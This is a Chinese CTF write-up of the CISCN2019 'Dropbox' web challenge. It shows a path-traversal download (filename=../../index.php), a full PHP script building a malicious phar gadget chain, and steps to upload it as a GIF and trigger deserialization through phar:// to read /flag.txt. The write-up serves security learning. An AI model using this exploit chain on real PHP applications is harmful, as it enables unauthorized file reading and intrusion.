buuctf-web-[CISCN2019 华北赛区 Day1 Web1]Dropbox

在下载的时候可以通过抓包修改文件名filename=…/…/index.php
获得源码
有这样几个页面
在这里插入图片描述
重点在class.php和delete.php中
当时提示是phar反序列化
什么是phar反序列化
传送门1
传送门2
在phar://xx.phar文件的时候
可以通过某些函数触发反序列化

delete.php会执行$file->detele();
class.php中的File类的delete函数里有unlink()可以利用
下面是生成phar

<?php
// add object of any class as meta data
	class User
	{
		public $db;
	}
	class FileList
	{
		private $files;
		public function __construct()
		{
			$this->files=array(new File());
		}
	}
	class File
	{
		public $filename='/flag.txt';
	}

	$b=new FileList();
	$c=new User();
	$c->db=$b;
    
 // create new Phar
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    $phar->setMetadata($c);
    $phar->stopBuffering();
 ?>

将生成的文件上传
bp抓包改类型为image/gif
之后删除
抓包修改为filename=phar://test.gif
flag在response里
在这里插入图片描述补充反序列化读文件过程:
先调用了User类,User类destruct的时候,调用了db.close方法,而这里的db是Filelist类的对象,所以调用了Filelist类的close()方法,但是Filelist又不存在这个方法,所以调用了call方法,
call方法会调用file的close方法,也就是/flag.txt调用close方法,也就是包含这个文件。最后,Filelist类调用destruct方法,打印出函数执行结果,也就是根目录下flag.txt文件的内容

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值